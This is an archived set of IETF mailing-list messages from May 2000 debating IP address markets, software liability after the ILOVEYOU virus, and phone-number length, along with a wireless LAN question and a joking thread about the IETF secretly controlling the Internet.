	for <ietf@ietf.org>; Tue, 9 May 2000 04:34:35 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200005090827.RAA13767@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id RAA13767; Tue, 9 May 2000 17:27:14 +0900
Subject: Re: PIARA (IP address space economics)
In-Reply-To: <20000508144401.DB342876@sean.ebone.net> from Sean Doran at "May
 8, 2000 04:44:01 pm"
To: Sean Doran <smd@ebone.net>
Date: Tue, 9 May 2000 17:27:13 +0859 ()
CC: smd@sean.ebone.net, bmanning@ISI.EDU, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Sean;

> | 	<draft-ohta-address-allocation-00.txt>
> 
> While I agree with you that the current usage-based allocation
> system is wrong, your draft's "Assignment Plan" (not more restricted)
> proposes to continue an anti-market single-seller model for IP
> addresses of both IPv4 and IPv6 flavours.   There is no scope
> for negotiating with the monopoly seller, given this tariff.

Where in our draft, do you think, IPv6 address allocation
policies are suggested? Can you quote the text?

I, personally, think IPv6 routing table entries must be limited
(to let end systems have a global routing table not to rely on
intelligent intermediate systems) and should be sold in market
(an imortant question is who sets the limit). But, it is an issue
unrelated to the draft on IPv4 address allocation.

For IPv4 addresses, as IPv4 is hopeless, it is unimportant whether
their allocation is anti-market or not.

							Masataka Ohta



From owner-ietf-outbound  Tue May  9 09:30:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA19055
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 09:30:02 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18855
	for <ietf@ietf.org>; Tue, 9 May 2000 09:22:50 -0400 (EDT)
Received: (from bmanning@localhost)
	by boreas.isi.edu (8.8.7/8.8.6) id GAA09057;
	Tue, 9 May 2000 06:22:43 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200005091322.GAA09057@boreas.isi.edu>
Subject: Re: IPv6: Past mistakes repeated?
To: David.Conrad@nominum.com (David R. Conrad)
Date: Tue, 9 May 100 06:22:43 -0700 (PDT)
Cc: bmanning@ISI.EDU, smd@EBONE.NET, ietf@ietf.org, moore@cs.utk.edu
In-Reply-To: <39161EBC.29275EDF@nominum.com> from "David R. Conrad" at May 7, 0 06:56:12 pm
X-Mailer: ELM [version 2.4 PL24 PGP6]
Content-Type: text
X-Loop: ietf@ietf.org


 Anyone want to by a 3? :)
 The value is not the number but its percived routablity.


% 
% Heh. 
% 
% I know someone who wants to offer a class B at seven figures and for class B's
% that "sold" for 5 figures.  And you say addresses have no value.  
% 
% Ah, nostalgia.  It's so nice to revisit old "discussions"...
% 
% Rgds,
% -drc
% 
% Bill Manning wrote:
% > 
% > Sigh,
% >         Please -NOT- the PIARA again. There is near zero value in the
% > number/address and very real value in the routing slot. Perhaps it is
% > best to simply have ebone route filter on the /16 boundaries to drive
% > home your point. (being cranky this morning)
% > 
% > % I would like to see a market develop for IPv4 addresses, along the
% > % lines of the late PIARA work.   This would also encourage a
% > % market for routing-table entries, both of which would produce a significant
% > % incentive to dramatically improve upon on-the-fly host-renumbering.
% > %
% > %       Sean.
% > %
% > % P.S. by "routing-table entries", I mean of course, not just the
% > %      consumption of memory and CPU resources in forwarding packets
% > % in to large numbers of possible destinations, but also the cost
% > % in various resources (bandwidth, CPU, complexity) of acquiring
% > % and propagating information which may lead to routing-table changes.
% > %
% > %
% > 
% > --
% > --bill
% > 
% > -
% > This message was passed through ietf+censored@alvestrand.no, which
% > is a sublist of ietf@ietf.org. Not all messages are passed.
% > Decisions on what to pass are made solely by Harald Alvestrand.
% 


-- 
--bill



From owner-ietf-outbound  Tue May  9 10:10:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA20422
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 10:10:02 -0400 (EDT)
Received: from omega.cisco.com (omega.cisco.com [171.69.63.141])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20328
	for <ietf@ietf.org>; Tue, 9 May 2000 10:07:59 -0400 (EDT)
Received: from localhost (yakov@localhost)
	by omega.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id HAA15914;
	Tue, 9 May 2000 07:06:53 -0700 (PDT)
Message-Id: <200005091406.HAA15914@omega.cisco.com>
To: "Steven M. Bellovin" <smb@research.att.com>
cc: "J. Noel Chiappa" <jnc@ginger.lcs.mit.edu>, gds@BEST.COM, ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated? 
In-reply-to: Your message of "Mon, 08 May 2000 18:18:00 EDT."
             <20000508221800.ABAC635DC2@smb.research.att.com> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <15912.957881213.1@cisco.com>
Date: Tue, 09 May 2000 07:06:53 -0700
From: Yakov Rekhter <yakov@cisco.com>
X-Loop: ietf@ietf.org

Steve,

> >    > There was a similar discussion here about five years ago where some
> >    > people proposed market models for address allocation and routing.
> >    > Unfortunately, it's not in the archives.
> >
> >I think it was on CIDRD, actually, no?
> >
> >    > If anyone has this discussion archived, could they please point me to
> >    > it?
> >
> >Well, one thing I do have is the draft of: "Suggestions for Market-Based
> >Allocation of IP Address Blocks", by Paul Resnick (then of AT&T Research, I
> >don't know where he is now - Paul, you out there?), which I have at:
> >
> >    http://ana-3.lcs.mit.edu/~jnc/tech/addr_charging.txt
> >
> >It never turned into an RFC (shame, I thought it was a really well thought
> >out draft), and I don't think it's anywhere else permanent.
> 
> See http://www.research.att.com/~smb/papers/piara/index.html, by Paul, 
> Yakov Rekhter, and myself.

This paper was also published in in "Coordination the Internet", MIT
Press, 1997 (Rekhter, Y., Resnick, P., Bellovin, S., "Financial
Incentives for Route Aggregation and Efficient Address Utilization in
the Internet").

Yakov.



From owner-ietf-outbound  Tue May  9 10:50:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA21632
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 10:50:02 -0400 (EDT)
Received: from shell5.ba.best.com (root@shell5.ba.best.com [206.184.139.136])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21463
	for <ietf@ietf.org>; Tue, 9 May 2000 10:44:32 -0400 (EDT)
Received: (from gds@localhost)
	by shell5.ba.best.com (8.9.3/8.9.2/best.sh) id HAA20485
	for ietf@ietf.org; Tue, 9 May 2000 07:44:22 -0700 (PDT)
Date: Tue, 9 May 2000 07:44:22 -0700 (PDT)
From: Greg Skinner <gds@best.com>
Message-Id: <200005091444.HAA20485@shell5.ba.best.com>
To: ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?
In-Reply-To: <200005082145.RAA18032@ginger.lcs.mit.edu>
X-Loop: ietf@ietf.org

"J. Noel Chiappa" <jnc@ginger.lcs.mit.edu> wrote:

>    > From: Greg Skinner <gds@best.com>

>    > There was a similar discussion here about five years ago where some
>    > people proposed market models for address allocation and routing.
>    > Unfortunately, it's not in the archives.

> I think it was on CIDRD, actually, no?

I don't think so.  I vaguely recall at some point in the discussion,
it was also suggested that IP addresses be maintained as trusteeships.
At any rate, thanks to all for the links.

--gregbo



From owner-ietf-outbound  Tue May  9 12:10:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA23653
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 12:10:02 -0400 (EDT)
Received: from camaleon.lander.es ([212.95.212.2])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA23617
	for <ietf@ietf.org>; Tue, 9 May 2000 12:09:14 -0400 (EDT)
Received: (qmail 8985 invoked from network); 9 May 2000 16:09:15 -0000
Received: from lince.lander.es (195.76.46.35)
  by camaleon.lander.es with SMTP; 9 May 2000 16:09:15 -0000
Received: (qmail 27797 invoked from network); 9 May 2000 16:09:13 -0000
Received: from ppp-47-223.lander.es (HELO salva) (195.76.47.223)
  by lince.lander.es with SMTP; 9 May 2000 16:09:13 -0000
Message-Id: <3.0.6.32.20000509181610.008af150@lince.lander.es>
X-Sender: svidal@lince.lander.es (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Tue, 09 May 2000 18:16:10 +0200
To: Lillian Komlossy <Lillian@dmnews.com>
From: Salvador Vidal <svidal@lander.es>
Subject: RE: VIRUS WARNING 
Cc: ietf@ietf.org
In-Reply-To: <983B9A17F5EBD311905600D0B73EA0DE03D8F6@mail.dmnews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id MAA23617
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

Hello,
At 17:28 04/05/00 -0400, Lillian Komlossy wrote:
>Let's not make it political. We've all been attacked, it is >pointless..

The people who want to do citizens security a political issue probably are
the same comunist reaccionary wich disagree with the future Army
privatization, the ones wich disagree with the new defense private monopoly
wich looking for their economic grow will impulse many wars creating a lot
of progress and employment.

Now seriously, citizens security is not another polical issue but the first
and main one!, because without security others issues hasn´t sense, in
other time I enjoy thinking about the posibilities that will bring the
incorporation of Aritficial Inteligence at information ofert: from the most
romantic message in a bottle ,without address, sealing with inteligence on
the net in order to search the person wich mach with you, to the most
practical mesages wich have diferents behaviors depending on the
replies,..., but without security such things only will bring more risks
and harms, progress is worhless without security!

Free speach will become a wider concept wich involves new free ways of
comunication but don´t call censorship the right of people to stop things
that may harm their information, their belives, their children education or
what ever they want!

At 15:46 04/05/00 -0400, Lillian Komlossy wrote:
>I agree with you - anything that is happening automatically and without 
>the chance for the user to say "yes" or "no thank you" is calling for this
>kind of attacks. It should be part of ActiveX or any other technology.
>Nothing should autoexecute.

Completely disagree!, average users can not become security experts  in
order to reply these questions, average users need public services, with
private or public management, in wich they can trust.

ILOVEYOU is reponsability of one hacker, its consecuences are
responsability, inresponability in this case, of Internet goberment,
private companies like a private Army don´t have any interest in citizens
security, it´s only responsability of goberment!, and if companies don´t
follow goberment recomendations they must advise people about the risk of
using these products, in a, I hope future, competive market this will be
enought to change companies mind about security issues.

At 15:28 07/05/00 -0400, Keith Moore wrote:
>Jacob,
>
>Given a choice between reducing crime via more government surveillance 
>and reducing crime via software that doesn't do stupid things, I'd far 
>prefer the latter.

Completely agree!, to put the hacker on jail do not solve the citizens
harm, which is the prevencion plan to quickly stop virus epidemic? when is
going Internet goberment going to asume their security prevention
responsability?...

Best Regards,
Salva

>to bring in the Unix vs Windows debate. Office, Windows, Unix, Linux, Mac 
>are all great as long as somebody likes to work with them. 
>I personally like Microsoft products, but I respect those who don't - and
>expect the same respect from them.
>
>Lillian Komlossy                     
>Site Manager                         
>http://www.dmnews.com           
>http://www.imarketingnews.com  
>(212) 925-7300 ext. 232 




From owner-ietf-outbound  Tue May  9 14:30:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA27412
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 14:30:02 -0400 (EDT)
Received: from ginger.lcs.mit.edu (ginger.lcs.mit.edu [18.26.0.82])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27013
	for <ietf@ietf.org>; Tue, 9 May 2000 14:21:52 -0400 (EDT)
Received: (from jnc@localhost)
	by ginger.lcs.mit.edu (8.9.1/8.9.1) id OAA20071;
	Tue, 9 May 2000 14:21:44 -0400
Date: Tue, 9 May 2000 14:21:44 -0400
From: "J. Noel Chiappa" <jnc@ginger.lcs.mit.edu>
Message-Id: <200005091821.OAA20071@ginger.lcs.mit.edu>
To: gds@best.com, ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?
Cc: jnc@ginger.lcs.mit.edu
X-Loop: ietf@ietf.org

    > From: Greg Skinner <gds@best.com>

    >> I think it was on CIDRD, actually, no?

    > I don't think so.

Well, it turns out that Paul Resnick's draft (which did come out as an I-D,
draft-ietf-cidrd-mktbased-alloc-00.txt) was discussed at some length on CIDRD
in February, 1996. But it sounds like the PIARA discussion was more extensive.

	Noel



From owner-ietf-outbound  Tue May  9 16:20:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA00177
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 16:20:02 -0400 (EDT)
Received: from psi.pair.com (psi.pair.com [209.68.1.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29738
	for <ietf@ietf.org>; Tue, 9 May 2000 16:10:51 -0400 (EDT)
Received: from localhost (kodiak@localhost) by psi.pair.com (8.9.1/8.6.12) with ESMTP id QAA14042 for <ietf@ietf.org>; Tue, 9 May 2000 16:10:53 -0400 (EDT)
X-Envelope-To: <ietf@ietf.org>
Date: Tue, 9 May 2000 16:10:51 -0400 (EDT)
From: chris d koeberle <kodiak@flail.com>
X-Sender: kodiak@psi.pair.com
To: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-Reply-To: <200005071929.PAA22335@astro.cs.utk.edu>
Message-ID: <Pine.BSF.4.10.10005091601260.11664-100000@psi.pair.com>
Approved: kodiak@flail.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Sun, 7 May 2000, Keith Moore wrote:
> > I don't see how, as long as the software manufacturers ship the software
> > with legal disclaimers, e.g. "We are not responsible for damages ..."
> 
> sooner or later that phrase will be recognized as less valuable
> than bovine feces.

(In the U.S.) It has value, but only in disclaiming rights which are not
ordinarily legally present.  I cannot escape liability for causing an
auto accident by putting such a label on my car, but such a label can
provide evidence that a customer could not have reasonably believed that a
company was not assuming liability which would not ordinarily have been
legally assigned to it - for instance, if MS was not negligent in
any fashion, but Windows still manages to make my computer disintegrate,
I would have difficulty establishing that MS should pay for my computer
because of implied promises in their advertising.

Even in the stronger case where the license agreement states "by agreeing
to the terms of this license, the user agrees not to hold MS liable for
any damage caused by this product," this is generally worthless if MS is
negligent - you cannot waive rights to recourse for "any and all damage
which might potentially occer." 

-=I would imagine that if 1000 Rwandan's were hacked to death AT THE EXPO,
people would sure have raised a stink.=-




From owner-ietf-outbound  Tue May  9 17:20:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA01063
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 17:20:02 -0400 (EDT)
Received: from sfo.erg.sri.com (sfo.erg.sri.com [128.18.100.4])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00975
	for <ietf@ietf.org>; Tue, 9 May 2000 17:12:27 -0400 (EDT)
Received: from erg.sri.com (walleye.erg.sri.com [128.18.4.214])
	by sfo.erg.sri.com (8.9.1/8.9.0) with ESMTP id OAA28300;
	Tue, 9 May 2000 14:12:28 -0700 (PDT)
Message-ID: <39187F3C.3D709AC3@erg.sri.com>
Date: Tue, 09 May 2000 14:12:28 -0700
From: "Fred L. Templin" <templin@erg.sri.com>
Organization: SRI International
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Wireless LAN experiences from the IETF meetings?
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hello,

We are investigating the deployment of a wireless LAN infrastructure
(IEEE 802.11) for our building and were hoping to tap into past
experiences from wireless LAN deployments at the IETF meetings. Are
there any documents online that present "guidelines" for deployment
of wireless LANs at the IETF meetings? Alternatively, can anyone
recommend other documents which might help get us started - especially
along the lines of strategic deployment of IEEE 802.11 access points?

Fred Templin
templin@erg.sri.com



From owner-ietf-outbound  Tue May  9 20:10:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA03052
	for ietf-outbound.10@ietf.org; Tue, 9 May 2000 20:10:02 -0400 (EDT)
Received: from khms.westfalen.de (mail@p3E9BA505.dip.t-dialin.net [62.155.165.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02989
	for <ietf@ietf.org>; Tue, 9 May 2000 20:04:39 -0400 (EDT)
Received: from root by khms.westfalen.de with local-bsmtp (Exim 3.12 #1)
	id 12pJzF-0000rh-01 (Debian); Wed, 10 May 2000 02:04:25 +0200
Received: by khms.westfalen.de (CrossPoint v3.12d.kh5 R/C435);
	  10 May 2000 02:02:35 +0200
Date: 10 May 2000 01:10:00 +0200
From: kaih@khms.westfalen.de (Kai Henningsen)
To: ietf@ietf.org
Message-ID: <7dbCQDLmw-B@khms.westfalen.de>
In-Reply-To: <00db01bfae2b$eec52ef0$0a00000a@wanadoo.fr>
Subject: Re: IPv6: Past mistakes repeated?
X-Mailer: CrossPoint v3.12d.kh5 R/C435
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Organization: Organisation? Me?! Are you kidding?
References: <00db01bfae2b$eec52ef0$0a00000a@wanadoo.fr>
X-No-Junk-Mail: I do not want to get *any* junk mail.
Comment: Unsolicited commercial mail will incur an US$100 handling fee per received mail.
X-Fix-Your-Modem: +++ATS2=255&WO1
X-Loop: ietf@ietf.org

anthony@atkielski.com (Anthony Atkielski)  wrote on 24.04.00 in <00db01bfae2b$eec52ef0$0a00000a@wanadoo.fr>:

> That is mostly because the telco(s) tried to impose a fixed address length
> on a scheme that really should have remained variable.  Telephone numbers
> overseas are truly variable.  When you dial 011+3, the remaining digits can
> be anywhere from one to a thousand.  The local end just stores them all

Actually, no, it can't. I think the original limit was something like 12  
digits, and it's something like 20 now, especially with ISDN.

That's what ITU says, anyway, and what all the makers of telephone  
hardware use.

And enough places have switched to better than 12 digits so - guess what -  
all the telcos are still doing their best to keep numbers down to 12  
digits. Mine's 11 currently (49-251-xxxxxx). North America uses 11 (1-xxx- 
xxx-xxxx). Workplace - a newer assignment - theoretically has 12 (49-251- 
xxxxxx-x) but actually uses up to 14 (49-251-xxxxxx-xxx), because we need  
more than the 20 different numbers we'd otherwise get.

Oh, more than those 12 do get used. For example, if I want to dial a North  
American number with provider selection ...

010xx-001-xxx-xxx-xxxx

... and that doesn't count a possible 0 to escape the local PBX. Which  
makes it 19 digits. Dangerously close to the limit.

I do know a PBX that crashes when you send it numbers longer than 20  
digits. From a major PBX producer.

> But if you use a truly variable scheme, you don't have to assign anything at
> all.

No such scheme seems to exist. At least not in wide use.

> Say Company X wants some addresses, and it is in an area where all addresses
> start with 9482.  You just add some digits, tell them what they are, and
> they can add as many addresses as they want behind those digits.  All you
> have to care about is that 94825xxxxx gets routed to Company X.  The rest of
> the address allocation is their business.  They might have just two digits
> on the end, or they might have forty.

Except they cannot actually *use* forty. See above.

> With fixed-length addresses, you're in trouble as soon as you make an
> assignment.

And all addresses in actual practical use are either fixed length, or  
variable but limited length (which actually gives you less room than the  
same limit with fixed length).

>You might assign 94820000 through 94829999 to Company X.  The
> problem is that, if Company X needs only 200 addresses, you've wasted 9800
> addresses, and you can't give them to anyone else.  Conversely, if Company X
> ever needs more than 10000 addresses, you have to completely reallocate
> everything, or fragment their address range.  Either way, you lose.

And that's exactly how the phone system works.


MfG Kai



From owner-ietf-outbound  Wed May 10 06:02:00 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA21226
	for ietf-outbound.10@ietf.org; Wed, 10 May 2000 06:00:02 -0400 (EDT)
Received: from NOD.RESTON.MCI.NET (nod.Reston.mci.net [166.45.6.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA21188
	for <ietf@ietf.org>; Wed, 10 May 2000 05:56:08 -0400 (EDT)
Received: from cerf.mci.net ([166.44.137.23])
 by shoe.reston.mci.net (PMDF V5.2-32 #40475)
 with ESMTPA id <01JP8377T5TM934RB6@shoe.reston.mci.net> for ietf@ietf.org;
 Wed, 10 May 2000 05:56:04 EST
Date: Wed, 10 May 2000 05:56:00 -0400
From: "vinton g. cerf" <vcerf@MCI.NET>
Subject: RE: IPv6: Past mistakes repeated?
In-reply-to: <01C88F753E97D311A7180090278D1D40689B94@teamsf.yipes.com>
X-Sender: vcerf@shoe.reston.mci.net
To: jdunn@yipes.com, "'Paul Robinson'" <paul@AKITANET.CO.UK>,
        "'Tripp Lilley'" <tlilley@perspex.com>
Cc: "'Keith Moore'" <moore@cs.utk.edu>, "'Greg Skinner'" <gds@best.com>,
        ietf@ietf.org
Message-id: <4.3.1.2.20000510055347.01e13f00@shoe.reston.mci.net>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
References: <01C88F753E97D311A7180090278D1D407694C3@teamsf.yipes.com>
Content-Transfer-Encoding: 7BIT
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7BIT

At 10:39 AM 5/8/2000 -0700, Jim Stephenson-Dunn wrote:
>No! We don't want to fix the holes! We want to keep a record of them
>without telling the admins, and when they misbehave, not only can we pop
>their kneecaps, set fire to their house, release information to their
>families they wouldn't want to be released, but also as a grand finale,
>we can take control of the machine and do what we wanted anyway.
>Eventually, we as the IETF would have complete control of every machine
>connected to the Internet, thereby giving us control of the entire
>planet, which in turn would allow us to park wherever we wanted and
>*not*get*a*ticket*!!!!!! :-)


Dang! Jim's gone and uncovered my nefarious retirement plan. Now I'll
have to think of something else :-(

Jim, you left out the "Nyah-ha-ha-ha-ha-ha!" part...

vint

p.s. apologies to IETF list for cluttering with this. It just slipped out.
=================================================================
I moved to a new MCI WorldCom facility on Nov 11, 1999

MCI WorldCom
22001 Loudoun County Parkway
Building F2, Room 4115, ATTN: Vint Cerf
Ashburn, VA 20147
Telephone (703) 886-1690
FAX (703) 886-0047


"INTERNET IS FOR EVERYONE!" 
See you at INET2000, Yokohama, Japan July 18-21, 2000
http://www.isoc.org/inet2000




From owner-ietf-outbound  Wed May 10 06:11:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA21376
	for ietf-outbound.10@ietf.org; Wed, 10 May 2000 06:10:02 -0400 (EDT)
Received: from NOD.RESTON.MCI.NET (nod.Reston.mci.net [166.45.6.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA21199
	for <ietf@ietf.org>; Wed, 10 May 2000 05:58:14 -0400 (EDT)
Received: from cerf.mci.net ([166.44.137.23])
 by shoe.reston.mci.net (PMDF V5.2-32 #40475)
 with ESMTPA id <01JP839YZ6FK934RB6@shoe.reston.mci.net> for ietf@ietf.org;
 Wed, 10 May 2000 05:58:15 EST
Date: Wed, 10 May 2000 05:58:13 -0400
From: "vinton g. cerf" <vcerf@MCI.NET>
Subject: Re: IPv6: Past mistakes repeated?
In-reply-to: <39168486.48E8B4AF@akitanet.co.uk>
X-Sender: vcerf@shoe.reston.mci.net
To: Paul Robinson <paul@AKITANET.CO.UK>, Tripp Lilley <tlilley@perspex.com>
Cc: Keith Moore <moore@cs.utk.edu>, Greg Skinner <gds@best.com>, ietf@ietf.org
Message-id: <4.3.1.2.20000510055726.01d45ee0@shoe.reston.mci.net>
MIME-version: 1.0
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
References: <Pine.LNX.3.96.1000507213756.19098W-100000@mail.perspex.com>
Content-Transfer-Encoding: 7BIT
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7BIT

ooops, sorry, I guess it was Paul that uncovered my retirement scheme.

v

At 10:10 AM 5/8/2000 +0100, Paul Robinson wrote:


>No! We don't want to fix the holes! We want to keep a record of them
>without telling the admins, and when they misbehave, not only can we pop
>their kneecaps, set fire to their house, release information to their
>families they wouldn't want to be released, but also as a grand finale,
>we can take control of the machine and do what we wanted anyway.
>Eventually, we as the IETF would have complete control of every machine
>connected to the Internet, thereby giving us control of the entire
>planet, which in turn would allow us to park wherever we wanted and
>*not*get*a*ticket*!!!!!! :-)
>
>-- 
>Paul Robinson - Developer/Sys Admin @ Akitanet http://www.akitanet.co.uk
>------------------------------------------------------------------------

=================================================================
I moved to a new MCI WorldCom facility on Nov 11, 1999

MCI WorldCom
22001 Loudoun County Parkway
Building F2, Room 4115, ATTN: Vint Cerf
Ashburn, VA 20147
Telephone (703) 886-1690
FAX (703) 886-0047


"INTERNET IS FOR EVERYONE!" 
See you at INET2000, Yokohama, Japan July 18-21, 2000
http://www.isoc.org/inet2000




From owner-ietf-outbound  Wed May 10 13:40:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA00642
	for ietf-outbound.10@ietf.org; Wed, 10 May 2000 13:40:02 -0400 (EDT)
Received: from mail.nanospace.com (qmailr@mail.nanospace.com [209.213.199.10])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA00499
	for <ietf@ietf.org>; Wed, 10 May 2000 13:33:11 -0400 (EDT)
Received: (qmail 31315 invoked by uid 74); 10 May 2000 17:33:11 -0000
Received: from jdunn@yipes.com by mail with scan4virus-0.19 (Clean. Processed in 0.525838 secs); 10/05/2000 10:33:10
Received: from thegrind.yipes.com (HELO zzsf220) (209.213.212.254)
  by mail.nanospace.com with SMTP; 10 May 2000 17:33:10 -0000
Reply-To: <jdunn@yipes.com>
From: "Jim Stephenson-Dunn" <jdunn@yipes.com>
To: "'vinton g. cerf'" <vcerf@MCI.NET>,
        "'Paul Robinson'" <paul@AKITANET.CO.UK>,
        "'Tripp Lilley'" <tlilley@perspex.com>
Cc: "'Keith Moore'" <moore@cs.utk.edu>, "'Greg Skinner'" <gds@best.com>,
        <ietf@ietf.org>
Subject: RE: IPv6: Past mistakes repeated?
Date: Wed, 10 May 2000 10:33:07 -0700
Message-ID: <01C88F753E97D311A7180090278D1D40689B9B@teamsf.yipes.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
In-Reply-To: <01C88F753E97D311A7180090278D1D4076956E@teamsf.yipes.com>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

It was Paul, I wanted to know where I got my IETF sunglasses,trench coat and
neuralizer from and wheather I could nominate parking in advance. (Form an
ordely queue behind paul and myself, and no pushing please)

If this "just" happens to help a certain Mr. C to retire in peace and quiet
and run the internet (Via IPv6) from his Montana log cabin, who am I to
disagree. I still want first dibs on the parking, especially in San
Francisco ;->

Jim

Jim Dunn

Senior Network Engineer
San Francisco NOC


-----Original Message-----
From: vinton g. cerf [mailto:vcerf@MCI.NET]
Sent: Wednesday, May 10, 2000 2:58 AM
To: Paul Robinson; Tripp Lilley
Cc: Keith Moore; Greg Skinner; ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated?


ooops, sorry, I guess it was Paul that uncovered my retirement scheme.

v

At 10:10 AM 5/8/2000 +0100, Paul Robinson wrote:


>No! We don't want to fix the holes! We want to keep a record of them
>without telling the admins, and when they misbehave, not only can we pop
>their kneecaps, set fire to their house, release information to their
>families they wouldn't want to be released, but also as a grand finale,
>we can take control of the machine and do what we wanted anyway.
>Eventually, we as the IETF would have complete control of every machine
>connected to the Internet, thereby giving us control of the entire
>planet, which in turn would allow us to park wherever we wanted and
>*not*get*a*ticket*!!!!!! :-)
>
>--
>Paul Robinson - Developer/Sys Admin @ Akitanet http://www.akitanet.co.uk
>------------------------------------------------------------------------

=================================================================
I moved to a new MCI WorldCom facility on Nov 11, 1999

MCI WorldCom
22001 Loudoun County Parkway
Building F2, Room 4115, ATTN: Vint Cerf
Ashburn, VA 20147
Telephone (703) 886-1690
FAX (703) 886-0047


"INTERNET IS FOR EVERYONE!"
See you at INET2000, Yokohama, Japan July 18-21, 2000
http://www.isoc.org/inet2000





From owner-ietf-outbound  Wed May 10 14:40:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA01980
	for ietf-outbound.10@ietf.org; Wed, 10 May 2000 14:40:03 -0400 (EDT)
Received: from rottweiler.cwusa.com (rottweiler-dmz.cwusa.com [146.135.88.50])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01917
	for <ietf@ietf.org>; Wed, 10 May 2000 14:35:58 -0400 (EDT)
Received: from us-cwi-exc-a10.cwusa.com (us-cwi-exc-a10.cwusa.com [146.135.85.143])
	by rottweiler.cwusa.com (8.9.1/8.9.1) with ESMTP id OAA12791;
	Wed, 10 May 2000 14:33:49 -0400 (EDT)
Received: by us-cwi-exc-a10.cwi.cablew.com with Internet Mail Service (5.5.2650.21)
	id <KMCKSB1Z>; Wed, 10 May 2000 14:33:44 -0400
Message-ID: <F685A00DB7B4D111B2400020AFFC2D580D702EBD@us-cwi-exc-a03.cwi.cablew.com>
From: "BookIII, Robert" <Robert.BookIII@cwusa.com>
To: "'vinton g. cerf'" <vcerf@MCI.NET>, jdunn@yipes.com,
        "'Paul Robinson'"
	 <paul@AKITANET.CO.UK>,
        "'Tripp Lilley'" <tlilley@perspex.com>
Cc: "'Keith Moore'" <moore@cs.utk.edu>, "'Greg Skinner'" <gds@BEST.COM>,
        ietf@ietf.org
Subject: RE: IPv6: Past mistakes repeated?
Date: Wed, 10 May 2000 14:33:42 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Vinton retiring to a cabin in Montana? (......this is ominous......vaguely
horrifying visions based on the "War Games" come flitting by......) Will you
be leaving us any WOPRs in IPv6? :-)

		-----Original Message-----
		From:	vinton g. cerf [mailto:vcerf@MCI.NET]
		Sent:	Wednesday, May 10, 2000 5:56 AM
		To:	jdunn@yipes.com; 'Paul Robinson'; 'Tripp Lilley'
